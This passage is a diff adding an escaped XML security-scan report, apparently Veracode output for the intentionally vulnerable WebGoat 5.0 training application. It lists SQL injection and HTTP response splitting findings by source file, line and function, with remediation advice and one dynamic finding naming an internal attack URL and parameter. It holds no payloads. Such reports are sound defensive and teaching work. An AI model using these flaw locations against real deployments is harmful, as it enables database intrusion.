+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"191\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login_BACKUP(session.WebSession, java.lang.String,
+        java.lang.String)\" functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"247\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlNumericInjection.java\"
+        line=\"130\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlNumericInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"165\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlStringInjection.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlStringInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"225\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ThreadSafetyProblem.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.ThreadSafetyProblem\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"53\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"71\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"176\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"112\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"248\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"59\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"295\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"68\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"139\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"340\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"85\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"258\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from earlier calls
+        to javax.servlet.ServletRequest.getParameterValues, javax.servlet.ServletRequest.getParameter,
+        java.sql.Statement.executeQuery, and java.sql.PreparedStatement.executeQuery.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile_i.java\"
+        line=\"64\" sourcefilepath=\"org/owasp/webgoat/lessons/instructor/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl.UpdateProfile_i\"
+        functionprototype=\"void changeEmployeeProfile(session.WebSession, int, int,
+        session.Employee)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"17\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable sqlStatement. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewDatabase.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/admin/\" scope=\"org.owasp.webgoat.lessons.admin.ViewDatabase\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"12\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"118\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"197\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"178\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile_BACKUP(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"166\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WsSqlInjection.java\"
+        line=\"240\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WsSqlInjection\"
+        functionprototype=\"java.sql.ResultSet getResults(java.lang.String)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"275\" module=\"dynamic_analysis\"
+        type=\"Improper Neutralization of Special Elements used in an SQL Command
+        ('SQL Injection')\" description=\"This database query contains a SQL injection
+        flaw. The function call constructs a dynamic SQL query using a variable derived
+        from user-supplied input. An attacker could exploit this flaw to execute arbitrary
+        SQL queries against the database.\r\n\r\nAvoid dynamically constructing SQL
+        queries. Instead, use parameterized prepared statements to prevent the database
+        from interpreting the contents of bind variables as part of the query. Always
+        validate user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=89)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" categoryid=\"19\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"id\"/>\n</dynamicflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"3\">\n<category categoryid=\"21\" categoryname=\"CRLF Injection\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"The acronym CRLF stands for &quot;Carriage
+        Return, Line Feed&quot; and refers to the sequence of characters used to denote
+        the end of a line of text.  CRLF injection vulnerabilities occur when data
+        enters an application from an untrusted source and is not properly validated
+        before being used.  For example, if an attacker is able to inject a CRLF into
+        a log file, he could append falsified log entries, thereby misleading administrators
+        or cover traces of the attack.  If an attacker is able to inject CRLFs into
+        an HTTP response header, he can use this ability to carry out other attacks
+        such as cache poisoning.  CRLF vulnerabilities primarily affect data integrity.
+        \ \"/>\n</desc>\n<recommendations>\n<para text=\"Apply robust input filtering
+        for all user-supplied data, using centralized data validation routines when
+        possible.  Use output filters to sanitize all output derived from user-supplied
+        input, replacing non-alphanumeric characters with their HTML entity equivalents.\"/>\n</recommendations>\n<cwe
+        cweid=\"113\" cwename=\"Improper Neutralization of CRLF Sequences in HTTP
+        Headers ('HTTP Response Splitting')\" pcirelated=\"false\">\n<description>\n<text
+        text=\"A function call contains an HTTP response splitting flaw.  Writing
+        unsanitized user-supplied input into an HTTP header allows an attacker to
+        manipulate the HTTP response rendered by the browser, leading to cache poisoning
+        and cross-site scripting attacks.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"10\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"config_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/ConfManagement/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.ConfManagement.config_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"78\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
